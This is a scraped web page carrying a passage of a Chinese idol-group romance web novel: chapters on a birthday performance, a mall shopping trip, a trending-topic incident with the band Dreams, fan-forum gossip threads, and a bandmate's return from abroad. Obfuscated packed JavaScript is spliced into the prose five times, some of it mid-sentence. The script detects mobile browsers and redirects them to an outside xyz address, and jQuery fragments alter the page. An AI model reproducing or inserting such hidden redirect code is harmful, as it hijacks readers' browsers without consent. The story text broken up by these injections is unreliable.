我说oct是真的惨啊,兢兢业业八年歌舞双废练到你团真ace,就因为前夫哥折返跑回来,一朝被大捆绑回到解放前咯 38L 看起来打投窗开之前就会打起来了 本糊逼粉最爱看的就是你团打投外务,每次都是xfxy血流成河的 41L 不是为什么你们已经开始预设前美帝两位了 真有人觉得六个位置轮得上他俩吗 45L 回复41L:你的记忆还停留在总选前吗 时代变了大人,你链的弯道超车就是这么快的事,11这种有脸有故事线的cp一旦同框就是绝杀,十月总选后的明年回前十现在看都保守了,保七争三了已经 47L 不是弯道超车是余孽复活 们11的祖上家底实在是太厚重了 49L 如果六个位置轮不上他俩你猜为什么不直接按总选排名 这次打投是为谁而开的但凡想想都能明白,你团真太子是谁我只能说懂的都懂,就连叛变这种大事都没影响地位呢 53L 看不懂有些楼在说什么 你团这么多年所有重要外务全是靠打投的,第一天搞链团? * 应时月看着看着,就读出了一种粉圈大混战的前兆。 他听乔亦说,由于这次外务的起始时间是圣诞节前,所以备选名单里,甚至包含了将在圣诞前一周结束考试的纪荇和。 于是应时月在脑子里算了算人选,如果他和乔亦能挤进名单,那他们那群熟人里,就一定会有人被挤出来——甚至可能不止一个。 想想就头痛。 ——但应时月确实还挺想去的。 这毕竟真的是个很著名的综艺。无论如何,他答应过粉丝这一年要好好提升人气。 应时月不觉得自己的vocal水平能比得上陆语心和唐言这样的大vocal,毕竟这事不仅仅是练习,也需要一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532613|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定的天赋。 比如陆语心,从小专心读书没有经历任何艺术训练的人,零基础进团,练了两个月,一出道就是一期生公认大主唱——这样的天赋应时月是没有的。 但站在大舞台上发挥出自身长处这事,应时月还是有信心的。 就是不知道能不能被投进去了——他也做不出暗戳戳催票这种事。 不过想到这里,他又回想起来更近在咫尺的一个重要活动。 ——他的生日公演。 在链团,只要进了选拔组,在接下来一年时间里,就可以办一次生日公演。 其流程同普通公演大致类似。但可以由负责的成员自己在链团曲库中选曲、邀请团内外朋友上公演,还会有半小时到一小时的、自由发挥的生日特别环节。 特别环节往往由特殊表演、庆祝和念信送礼物等活动构成,用于替换原来的小MC和部分歌舞表演。 不过,由于队里的时间安排,成员的生日公演往往并不能选在生日前后,甚至生公和生日差半年都有可能。 “生日”只是一个名头,由成员自己作为绝对中心、自己策划一整场演出的大部分内容,才是其核心意义所在。 像应时月今年,能赶在他公开日11月26日当天,才是很少见的。 ——至于他这次的生公资格,都是拜历史遗留所赐。二选之后的那一整年,他都没抽出时间办成。后来他年年选拔,也年年只开一次,这事一再顺延,刚好就延进了没进选拔组的这年。 他思索了一会可以安排些什么,然后将点子一个个记在备忘录里。 这时候乔亦刚从浴室出来。于是应时月也顺口问:“我下个月底生公,你有什么想跳的双人曲吗?” “诶?”乔亦顿了顿,语气好像有些迷惑,“你的公演,这不是应该你来选吗?” “有点想不到。”应时月说,“感觉很多都行。” ——倒是没人说“为什么一定要有双人舞台”这回事,好像这成了一种默认的流程。 无论如何,只要两个人都在,就一定会有合作,无论是出于什么样的想法——于是他们对此心照不宣。 “那要不然,”乔亦干脆建议,“你现在在fanclub宣布下个月生公这事,相信有人会给我们提建议的。” 58. 采购回 应时月笑了一声,心想这倒还真是个好主意。 况且不仅是cp粉,单推和队推的意见也一样值得搜集。 毕竟,这是这么多年来,第一次正经地生公放在26号——某种意义上,这不仅是他的“团内生日”,也确实是一期生的公开日。 公开八年的日子,总归是适合上仪式感的。 于是他打开自己的fanclub,发布了“下个月26号生日公演”的消息作为预告——当然,另一个原因是方便想来线下的粉丝提前做安排。 下一个瞬间,粉丝的聊天框就开始了刷屏活动。 先是有很多人说好巧,今年居然是26号当天,接着就有乔亦所预言的、开始点舞台的粉丝出现了。 于是应时月趁机顺势补了一句“大家有什么想看的舞台吗”。 他发完,就开始专心看评论飘过。 而乔亦也坐在另一边床上,同他隔着那只毛绒小狗抱枕。应时月余光瞥见这人在手机上疯狂打字,十几分钟没停过,也不知道是在干什么。 重新回归室友的第一个晚上就如此进行下去。 各自看各自的手机,偶尔搭话两句,也没有什么太多的交流。 应时月本以为,自己需要花一点时间来适应生活中重新出现一个室友这件事,但好像也没有。 不说话、就这样各做各的,也不会觉得尴尬或奇怪,这仿佛才是他们正常的状态——一切都很自然,就像是昨天还是2019年一样。 应时月如此想着,见时间已经到一点,于是也就放下手机,将自己缩进了被子里。 乔亦还在打字。不过看到应时月的动作,便也说了一句:“那我关灯了?” 应时月“嗯”了一声。 窗帘被拉得很紧。月色无法透过缝隙光临211,于是屋内便只剩下漆黑一片。 ——也不完全黑。乔亦将手机调成了夜间模式,亮度拉到最低,屏幕的方向背对着应时月,但也是最后仅剩的、微弱的光源。 莫名其妙地,不仅不打扰睡觉,还反而让人多了点本能中的安全感。 应时月在黑暗中眨眨眼,听见乔亦在他背后轻轻说了句晚安。 “晚安。”应时月说。 * 第二天。 应时月按下闹钟,从床上坐起来——环境有点陌生,他反应了几秒,才骤然记起已经换了新宿舍这事。 至于自己的新——也不是很新的室友…… 应时月向右转了转脑袋,意料之中地看到了已经整理好的、空空荡荡的床铺。 靠门口的位置,响起锁孔被转动的声音。 乔亦打开的不是211的房门,而是浴室的门。他前一天问了应时月的闹钟调的几点,大概是算了时间,刚从外面晨练回来。 但应时月并没有听到乔亦的闹钟响过。 那只能说,确实是很神奇的生物钟了。他心想。 “你醒了啊,”乔亦的身影出现在他的视线中,这人一边用毛巾擦头发,一边抬眼看了看应时月,“想吃什么早饭?隔壁街好几家早餐店,去商场路上可以顺道。” “……我还以为,”应时月开玩笑说,“你的下一句话是,想吃什么我给你做呢。” “以后也不是不行,刚好试试这个厨房设施用起来怎样,”乔亦说,“但今天还没有食材储备,我回头问问贺景然。” 应时月顿了顿,想问“你什么时候会做饭了”,但最后又没问出来。 毕竟在国外上了三年学呢。他在心中对自己说,有什么新技能都是理所应当的。 况且还是生存技能——毕竟哪有不会做饭的留学生,纪荇和这种从来没见进过厨房的人,出去交换几个月,都已经会在朋友圈晒自己的大作了。 “那好吧,”于是应时月翻身下床,“你等我一会,先出去看看有什么。” “嗯,”乔亦点点头说,“我刚好回几个消息,你不要急。” * 按照前几日的约定,今天的计划是上街采购。 虽说自从乔亦买了投影仪,应时月想象了一下房间里再多个大屏的样子,便已然不觉得空旷了。 但没人因此说出“放弃购物计划”的提案,于是自然而然地,上午十点半,两人在停车场停好电动车,又一并出现在了市里最大的商场里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532614|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这家商场的特色就是什么都卖,非常混杂,今年新购入的那个小狗抱枕,也是来自于这家商场的玩具店。 这只是一个平平无奇的星期四,按说也不是节假日——真要说的话,很多学校周四下午不排课,所以可能会比其他四个工作日人稍微多点。 但那也是下午。 应时月看着商场入口处人来人往、呈现出明显不正常的人流量,感觉到了一丝茫然。 “就说今天停车位怎么这么难找,”乔亦语气中也有点意外,“好多人啊。” “……确实,”应时月这时候的第一反应就是当复读机,“好多人啊。” 他们随着人群走了进去。 “今天是不是有什么促销活动?”走着走着,乔亦像是突然灵机一动,“我看看公众号有没有说。” 周围人太多,不看路会撞到人。乔亦这么说,应时月于是就停下来,等他查询消息。 然后他就看见……乔亦露出了微妙的表情。 这人少见地欲言又止,最后干脆将手机递给了他。应时月接过,看到一条一星期前的推送,上面写着—— Dreams成员顾洛知将于10月26日上午空降明耀商场,不见不散。 “他们怎么……”应时月压低声音,思考了一下措辞,“沦落到来商场宣传了?” “可能是,最近掉了好多资源没事做了,”乔亦也想了想,然后同样压低声音回答他,“加上钱给得比较多吧。” Dreams是个男团,就是上半年选秀出道、上个月被曝出来做票、这个月疯狂掉资源的那个男团。 这位顾洛知,排名第三——队里有小后辈高强度追了那个选秀全程,说第三高了,但应时月并不太清楚。 总之,是这样的活动,而不是大促销,那就好说,避开核心区域就不会被挤到。 如此想着的时候,乔亦已经迈开了步伐,并回过头看他:“活动是在一楼中心大厅,你跟我走就好。” 应时月也没多想,便跟上他的脚步,逆着人群前进。 ——直到,乔亦带着他,停在了一家花里胡哨、粉蓝色调、看上去什么都卖的店门口。 59. 意外热搜 应时月愣了愣。 店里面来来回回的顾客不算多、但也不少,看上去大多都是大学生的年纪。 他倒退两步,看到左边是一家卖盲盒的店,右边是一家二次元气息强烈的店,总觉得中间这家的成分也很难评价。 但他还是跟着乔亦走了进去。 * 一进去,扑面而来的就是若干花花绿绿的贴纸。 应时月又环顾一圈,终于明白这家店是做什么的了——要说的话,其实还是卖一些家庭日用品,就是比较有设计感……且比较无用。 无用但好看的那种。 “看上去像……”应时月犹豫了片刻,还是说了,“陆语心喜欢逛的店。” “你感觉是对的,”乔亦于是笑了出声,“这家店就是陆语心给我推荐的,他说他每个月必来看一次上新商品——还说出了一个什么漫画ip的新联名冰箱贴套组,让我帮他带三套回去。” “为什么是三套?”应时月提问。 “可能是,”乔亦想了一下,“一套自用一套备用一套收藏?” 接着,应时月就看着乔亦轻车熟路走向联名区,将货架上已然所剩不多的六款冰箱贴一样拿了四份。 乔亦拿完才回过头,迎着应时月疑惑的神色:“给我们也拿一份……你不觉得很可爱吗?” “可爱是可爱,”应时月向来实事求是,因而点点头承认,“只是我以为你只是帮陆语心买,对这些没兴趣呢。” “可能是因为人总是会……” 应时月本以为,乔亦接下来要来一句,“人总是会变的,产生了新偏好也很正常”,但这人生生停顿了三五秒,最后说出口的话变成了—— “人总是会在特别年轻的时候,不太好意思承认喜欢这种花里胡哨的玩意。” 应时月用打探的眼光看他。 他总觉得这人是为了避开“变化”这种说辞,所以紧急头脑风暴出了一个拙劣的借口—— 毕竟,事到如今,他们还是在不由自主回避谈到过去四年。 应时月知道这事早晚要有一个说清楚的契机——这不是不在意或者不想说就能永远避之不谈的。但契机显然不在此刻,两人对此保有充分默契。 或许也是觉得太不可信,乔亦又开始打补丁:“昨天去那几个人那边逛了一下,感觉我们也不能把屋子布置得太像酒店或者学校宿舍……你说对吧?” “说得好像你是第一次去那几位的房间一样。”应时月说,但没有反驳后一句,只是干脆就只笑了一会。 “笑什么啊……总之你觉得好看的都可以挑回去,”乔亦打断了他的嘲笑,“今天都是我请客。” “……为什么啊?”应时月提问。 “昨天不是说了吗,”乔亦扭头,冲他眨了眨眼,“作为赔礼道歉。” 同一个借口怎么还能反复用的啊。应时月心想。 他想说不用,想了想,最后又没有说——毕竟乔亦不缺钱,至少两星期前还收了自己一万一的打赏。 即使被公司扣掉40%的中介费用,那也还剩了六千多,他们今天这逛法,再怎么买也不过小四位数。 如果这种开销,能让这人稍微放下一部分心理包袱的话,那就让他用好了。应时月在心中叹了口气。 就算哪天这人真穷困潦倒破产了,总归也不缺人救济。 于是应时月一边走,一边看着乔亦将那些花花绿绿的贴纸、杯子、夹子、储物箱等等扔进购物篮里,总算是忍不住,也跟着开始在货架上挑挑拣拣。 他又想起几年之前,乔亦信誓旦旦对他说“极简主义者的人生信条就是不喜欢花里胡哨的玩意”的语气,总觉得…… 有点不习惯,有点错乱感。 但似乎也没什么不好的。 “你说得对,”最后应时月点点头,隔着十几分钟的时间,回应了早早产生的前半截对话,“之前的室内布置太缺乏独特风格了一点。” * 逛完这家花里胡哨百货店,他们去顶层吃了顿饭,又去了一些别的店,凑够了其他各种必需品,便打算返程。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532615|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 此时此刻,应时月手上提着若干大包小包,乔亦则抱着一个巨大而沉重的箱子,跟在他身后。 ——直到不远处传来了一阵喧闹声。 应时月有种不好的预感,接着,这种预感很快就得以兑现。 一大群拿着相机信封和花、甚至还有手幅的粉丝从拐角处转过来,正卡在他们的必经之路上。处在人群正中央的,是被几个安保人员护着的、穿着一身红黑色衣服的男生。 顾洛知抬了抬眼,目光在四周环绕一圈——也从站在角落的应时月和乔亦这边路过,但未做停留。 大概是很不巧,刚遇上活动结束。应时月心想。于是他们只得停下来,等待这群人走过。 有几个粉丝从两人身前匆匆跑过。 这群人也都带着手幅,应时月在其上看到了“盛世美颜顾洛知”七个字。 “他们但凡回头看一眼,”见他们跑远,乔亦于是才小声说,“就能看到什么是真正的盛世美颜了。” 应时月被这话说得有点……莫名的羞耻感,因而完全避开了正面回答:“别回头,真回头我们就完了。” 毕竟,链团虽然生态闭环、但也并非糊团。 平日里在路上走走还行,真在这种追星人聚集的地方,指望没人认识他们总归不太可能——他们本就一路避开人群,如今两人半蹲在一家餐馆门口的角落,混入等号的食客之中,贯彻“大隐隐于市”的自我洗脑结论,才显得不那么显眼。 况且,在商场这类女性群体占多数的地方,两个身高184长得好看的男生走一起,这种事还是有点少见的。 只不过,应时月没想到的是,虽说最后也没人发现他们,两人顺利等到顾洛知和他的粉丝撤出商场、骑上电动车回到新宿舍—— 但他一放下购物袋,顺手打开微博,就看到了他完全不曾预期的热搜词条。 这个词条十个字,带了三个人名,叫做#顾洛知关注应时月乔亦#,如今正挂在热搜的第11位。 像是故意买在这个位置一样。 60. 重映 应时月点进了热搜。 热搜关联的是顾洛知的微博账号——看起来这个热搜是梦团那边买的。 热门第一条是某个营销号截图了顾洛知超话的名人动态,这人先后关注了他和乔亦的微博账号。 再往下一条热门,则同样是营销号发的,是一段视频。 应时月一看就认出来了,这应该是在商场里拍的——看起来他们还是没能逃脱被拍到的命运。 他点了进去。 镜头里,顾洛知占据了绝大部分空间,而在图像的角落,两个人提着大包小包的人,被红色的圈高亮着圈了起来——显然,这就是当时的他和乔亦。 大概是拍摄的人回去重看视频,才发现了他们的存在。 不过幸亏像素很一般,应时月心想。如果太清晰,被人解读口型发现他们在拉踩的话,说不定就完了。 接着,他想看看这条微博下的评论。然后意料之外又情理之中地——大概是发布已经有一段时间了,评论区已然被粉丝控评占领。 第一个热评是他和乔亦的cp花墙,两个人的名字被金色和蓝色的爱心围了好几圈;再下一个热评是顾洛知粉丝的。 同他们链团这种散漫作风不同,内娱粉丝控评要“纪律化”一点。 那条控评评论是一张带照片的实绩图——当然,基本都是队内舞台和歌——外加一个tag,#顾洛知Dreams唯一门面主唱#。 应时月对他的认知只停留在能对得上名字和脸,也不知道他是不是真的门面主唱——毕竟众所周知,选秀团里门面主唱主舞ace这些头衔都是批发的,而且每个人都是“唯一”。 他不知道谁是什么定位,但连他都知道梦团有七个唯一门面、两个唯一主唱、两个唯一主舞和三个唯一ace。 比如这条下面,就出现了不相关的名字。 有人在刷#祁心忱Dreams唯一官媒认证门面主唱#,比顾洛知还多了四个字,也不知道是什么角落里的官媒。 “梦团团粉更应该这么写控评词,”乔亦也在一边看热搜,大概是和他在看同一个帖子,“Dreams,唯一官媒认证做票男团。” “你是不是和他们有仇,”应时月笑了出声,“今天怎么一直在拉踩。” “哪里的事,说不定他们自己都不在意呢,”乔亦说,“我们回关一下吗?” “回吧。”应时月点点头,接着就点开顾洛知的微博,按下了关注键,“我现在就点。” 接着又过了几秒,应时月又回味了一下乔亦的发言,才觉出一点点不对劲。 “……等等,”他于是发问,“什么叫说不定他们自己都不在意?” “字面意思啊?”乔亦语气无辜,“换位思考一下,你身处一个做票团,你会因为别人说你们团是做票团这一事实而不满吗?” “……我可能也不一定不会,”应时月顿了几秒,犹豫了一下,才决定问出下一个问题,“所以,你是不是认识他啊?” 乔亦没回答,而是将手机转向了应时月。 屏幕上是一个人的朋友圈界面,乔亦给他的备注是“lozi6.5”。而那条朋友圈,发的是一个群聊截图。 那个群的名字叫做——“宇宙第一相亲相爱做票团!”,总共有七个人,看备注确实是Dreams的群聊没错。 “如果我们能去明日新声的话,”乔亦眨眨眼说,“可以带你认识一下他。” “梦团还能去明日新声啊?”应时月感觉到一点点震惊,“他们现在舆论都这样了。” “他们主唱line小分队去,就三个人,不带团名,”乔亦说,又补了一句,“有个K队小后辈的姐姐在节目组上班,这是他告诉我的。” “……哦。”应时月说,“你有好多我不知道的消息啊。” 他说完,才后知后觉感觉到,这话怎么听怎么有点微妙。 就像是……自己在表达某种不满一样。 但不满倒确实说不上,就是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532616|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有种一闪即逝的,奇怪的失落感。 按理来说,乔亦这人“社交天才”的属性,早在他们第一天认识的时候便展露得淋漓尽致——准确说来,如果没有这项技能的话,他们大概也不会有什么交集。 他有他的社交网络实在是再正常不过了,这绝对不是应该值得失落的事。 乔亦转过头,安静地注视着他,似乎是在思考怎么回答。 “我……大概总觉得多认识一些人、多搜集一些信息会比较有安全感吧,”最后从他口中说出来的,却是应时月完全意料之外的、极其罕见有点示弱意味的发言,“你不嫌听起来麻烦的话,以后有什么消息,我会第一时间转告你的。” “倒也没有这个意思,”那片刻的失落已然消散,于是应时月笑了笑,又开玩笑道,“说起来,你现在总不会有什么大消息没告诉我吧?” 他本来就是随口一说。没想到,乔亦听了这话,居然第一反应不是顺口回答“那当然没有”,而是陷入了……明显的思考之中。 “要说的话,是有的,”最后他开口,说出了自己思考后的回答,“我本来准备等等再告诉你——” “但我想现在就听。”应时月说,打断了乔亦的发言。 这话这么说,显然这还是和自己相关的消息。 可能是什么惊喜之类的,应时月心想。但比起惊喜,在乔亦这里,他大概会……更喜欢确定的事物。 “其实我说的‘等等’是想说十分钟之后,因为确实到了该告诉你的时候了,”乔亦于是叹了口气,又笑了起来,“喻疏一下月底要回国办一些手续,在国内停留两周,我想趁此机会重新拉一个first的舞台,经过昨天一整晚的劝说,现在明宸和贺景然都同意了——” 他说到这里,抬起头,目光直直注视着应时月:“所以,十月哥哥,有意愿吗?” 始料未及的答案,而且……真的是个重大惊喜。应时月心想。 这确实是让他怎么也猜不到的回答。 61. 喻疏一 乔亦能将自己放在最后问,当然就是笃定了自己不会拒绝。 很微妙地,应时月有种——被看穿一切然后轻易拿捏的感觉。 他有一瞬间想出声抗议几句,但真的开口,却又还是很没有骨气地,直接说出了乔亦想得到的答案:“那就放我生公吧……刚好挺有纪念意义的。” “……你想说的话可以不用忍着,”没想到乔亦说,“比如——你内心对于我说服其他人之后才通知你这件事的不满,直接说出来也是可以的。” “你好讨厌啊。”应时月沉默好几秒,闷闷地回了一句。 “好了好了,对不起……我下次会提前说的,”乔亦反倒是笑了出来,“主要是我确实没想到明宸会同意——所以没来得及告诉你,有点怕没组成功你会失望。” “我不会失望的。”应时月说。 但总归是,乔亦足够了解自己,才会将自己放在最后。应时月想了想,又觉得这样也没什么不好——毕竟乔亦如今用这份了解所做的,也是让自己开心的事。 不过,想到这里,他才想起一个因为岔开话题、所以差点被彻底遗忘的事情。 “所以顾洛知呢,”于是应时月开口问,“你们是怎么认识的?” “前两年在同一个社团,”乔亦说,语气平平淡淡,但话语却是显而易见的避重就轻,“经常一起活动,所以比较熟。” 应时月默不作声地盯着他,最终还是只点点头,没有再追问:“哦。” 甚至——应时月仔细一想,乔亦其实从未亲口说过,他过去几年在国外这事。 应时月查了,所以知道了;乔亦足够了解他,所以能猜到他查了、并查到了消息,因而不再解释。于是这件事成了两人之间的默认项。 这种了解与默契,有时让人厌烦,又有时让人欣喜,但更多时候,应时月会觉得自己被拉扯于二者之间。 而他此刻……并不是很想再拉扯下去。 所以他想了想,又补了一句:“那我现在……挺期待能去明日新声的。” “能去的,”乔亦说,语气倒是很确定,“我看了几个粉圈的拉表帖子,照这个趋势肯定没问题——如果我去不了,我就来探班你们。” 应时月听他这么说,于是打开论坛。 只是没想到、但也算情理之中的是,论坛首页完全没见着乔亦所说的“拉表”,反倒是铺天盖地的视频截图。 视频当然指的是,下午他和乔亦在商场被拍到的视频。 应时月这才突然反应过来,乔亦所说的“看了几个帖子”,也不见得是刚刚在看——只不过他刚用余光瞥到这人在逛论坛,因此先入为主了而已。 但点都点进来了,他干脆也就点进了首页的第一个帖子。 * 【主题】我们11也算是蹭上内娱顶流了 rt,下午随3商场活动路透,我们前美帝也是在视频角落堂堂出镜了 1L发链接,两位的神色同看热闹的路人如出一辙 4L 随3是谁,这又是哪个团 6L 回复4L:内娱那边新晋选秀做票团Dreams,因为被曝出来的消息里说是用随机数生成最后票数,所以新赐花名随 8L 也可以理解为“随便挑选一群人出道”的意思 12L 回复8L:我们组应该没有被随丝入侵吧,小心过会有人来给你科普谁真的该在出道位 15L 不管谁该出道反正3肯定不是3的 18L 可以了啊别在链组聊这个了,很危险的这些话题 22L 我还说怎么组里没人搬运呢终于看到了 微博月推亦推已经开始八百倍速阴阳怪气了 27L 这有什么好阴阳怪气的 31L 当然有啊,你永远想不到单推能有多少奇怪的角度 反正我首页刷到有月推说为什么两个人去逛街结果所有袋子都是oct一个人拿的,转发区有亦推说那个箱子明显才是看上去最重的 34L ?这也能打,单推也太闲了 38L 而正常人这时候只会看到“两个人去逛街” 42L 是的 虽说直到此刻我依然对11真的成室友了感到强烈的不真实感,但是也算是真好起来了,看起来有说有笑的真的很熟 45L 之前那些说11现在只是在台上演的人出列看看呢 总不能说这还是随3的大营销手段吧,内娱顶流需要蹭我们过世cp吗 47L 我什么时候看到内娱顶流四个字不笑 49L 内娱顶流又是什么梗怎么就顶流了 52L Dreams做票的热搜是最近半年热度最高的娱乐圈事件 上个顶流团解散了,刚好趁此机会封随团为现役第一顶流团咯 55L 都说了oct这种单纯人是演不出来的 不过我很好奇的一点是现在月推亦推真的打得起来吗 58L 当然打得起来啊有哪家大势cp双方单推打不起来的 62L 实话说我能理解很多月推不喜欢乔帝,毕竟oct过去四年虽flop但也吸了一些粉,当初乔帝跑路十月状态明显很不对的那段时间也确实让很多月推对他不满意 但是亦推真的能讨厌十月吗,正主都已经反向提纯好几轮了,从18年提纯到23年,这次更是一种完全冲着十月才折返跑回来的状态,不喜欢十月的话真的粉得下去他吗 65L 回复62L:yysy虽然你组总给人一种人均嗑11的感觉但其实乔亦这人也挺会媚单推的 前一天“骂我老公的可以脱粉我”后一天发个小视频单推就跑回去了(。)歌舞双废都拦不住这就是天生适合做偶像的人,而且有人就是能从一边骂自担的朋友一边爱自担中得到快感 68L 确实是,换成一般人这么说跑就跑说回就回哪能有现在这种舆论状态啊 73L 但是其实乔帝这种性格这种行为模式,最后剩下的粉丝基本都是溺爱型的,那种最毒的四年前就被赶走完了,现在的说恨十月也没有那么恨,以前闹最厉害的时候是真的吓人 他现在的粉圈属于是,我甚至怀疑如果哪天乔帝被曝出来恋爱这群粉丝都只会骂三天对象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532617|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再骂三天正主最后容忍的 76L 不是我说,怎么有人暗戳戳在这贷款一些有的没的 乔帝能和谁恋爱啊,他看上去像是会恋爱的样子吗,你组对一些实锤恋爱的整天含糊其辞,对除了折返跑和废物以外没有任何黑料的人贷款造谣啊? 79L 还能和谁,他看上去就像是不可能会爱上oct以外的任何人的 83L 真这样感觉月推会先疯掉吧…讲道理 87L 不是你们怎么就一本正经讨论上了啊 正常的cp粉这个时候还只是在说估计和好了,怎么你组总有些不知道什么成分的每天都在这执着于说他们真的会谈啊 帖子的走向逐渐偏离正题起来,应时月于是也没有再看下去。 但总的说来,今天的事一出,确实是让一些前段时间说他们“台面和好”的声音彻底偃旗息鼓了下来。 虽说其实应时月本人也说不好,他们现在到底算不算“和好”这种状态。 且不论究竟有没有“闹崩”过,即使有,比起说和好,他感觉,他和乔亦的关系如今更像是处在某个不稳定均衡点上——都知道还有问题要解决、甚至还有新的问题在产生,但都不去碰它,只安安心心在目前的状态下过下去。 而这种状态,便如此持续了大半个月。 * 这半个月里,发生了许多不大不小的事件。 应时月和乔亦的双人舞台又进行了好几场,粉丝从一开始的兴奋、变成了持续兴奋状态——越往后的场次好评越多,除了嗑cp的以外,还真的来了不少纯粹的舞台粉,也算是意外之喜。 综艺的打投活动也正式开启。有些意外的是,池穆声被导师征调寒假一起出国调研、因而被迫放弃了这个机会。于是论坛又开了无数帖子阴阳怪气,说这个综艺现在已经彻底成了L队和L队家属的专属外务,不如别让其他人陪跑直接宣了得了。 ——也不知道贺景然看到了是什么想法,应时月心想。吵架过去两年多,他和明宸的绑定关系依旧没有得到什么缓解。 而除此之外,这段时间,应时月也开始重新练起了吉他。 他的吉他一直寄存在公司的器材室。几个月不见,盒子上已然蒙了一层灰。 上一次弹吉他,还是七月的拉票公演,在粉丝的要求之下弹唱了一首歌,如今也过了快四个月。 其他人的乐器都是从小学习,一段时间不碰也不怎么影响熟练。 但应时月不一样。他是整个first里,最称得上“半吊子”的人——事实上,他的吉他水平一直都没有很高,只能点对点练一些特定的歌,最后勉勉强强抬上舞台不拖后腿。 因此,他就打算赶在大家汇合之前先练上几天。 这几天里,乔亦往往也同他一道,在旁边弹琴或者练舞——于是时间就如此安稳度过。 直到有天上午,练习室门口传来了敲门声。 乔亦光速起身,跑过去开门。 应时月愣了愣,过了片刻才反应过来,接着放下吉他,回过头。 “好久不见,”阔别两年多的青年人一只手插在羽绒服口袋里,一只手提着大包小包,冲他们抬了抬下巴,“最近过得如何?” 62. 再聚首 “挺好的,”乔亦说,“为了迎接你的归来,我们每天都在这里努力排练,十分充实。” “少插科打诨的,”喻疏一笑了一声,接着就开始直戳敏感话题,“你可没比我先回来多久。” “那我……”乔亦张了张嘴,不知道打算做什么反驳,但总之是说了个开头没说出来,接着就生硬地转移了话题,“所以你最近还顺利吗?” 喻疏一叹了口气,似乎是意识到了对方拙劣的话术,但也没有再追问,而是回答了后一个问题:“不怎么顺利,论文好难发,去野外科考的时候觉得自己是全世界最幸福的人,觉得生态学就是全世界最好的科学,回到学校开始写论文就只剩下想死了——申请假期申请了这么久才让我回来,回学校还得加班。” 他如此说着,说完,又叹了口气。 “你怎么不按套路出牌,”应时月说,“大家很久没见,这种时候不应该先说一句‘很顺利’、然后过几天再慢慢吐槽吗?” “所以十月宝宝你想要什么套路,主要有些事真的很难让人违背良心说出很顺利三个字,”喻疏一扭头看着他,“不过我当然也有套路——很久没见了,给你带了些礼物,我上个月去欧洲开会买的,这像不像一个久别重逢的开场白?” 他说着,就从手上那堆袋子里,挑出金色外观的那个,递给应时月:“回去再打开哦。” 应时月“嗯”了一声,说了句谢谢,又重新看了眼喻疏一手上那堆东西——他本来先入为主,以为是这人回来待一段时间自带的随身行李,但仔细一看,剩下四个袋子,一个蓝色、一个绿色、一个红色外加一个银色,便也就明白了,这是给他们first剩下四人外加陆语心带的,一人一个。 他想起前不久还在论坛看到一个帖子,说发现链人对应援色的敏感程度非常高,比粉丝都高,这么看——还挺有道理的,也不知道他哪找的这么多刚好合上大家应援色的袋子。 于是,不出所料的是,喻疏一又挑出了蓝色的那个袋子,递给乔亦。 “还好我们这里没有人应援色重合,”乔亦伸手接过,“谢谢喻哥——” “你居然还有喊哥的一天,”喻疏一挑了挑眉毛,“转性了?” “这不是因为收了礼物嘛。”乔亦眨眨眼,“表示一下尊敬。” 喻疏一不吃这套:“谁信你啊?” * 三人于是开始闲聊。 没过多久,又是一阵敲门声。这次,出现在房间门口的是贺景然。 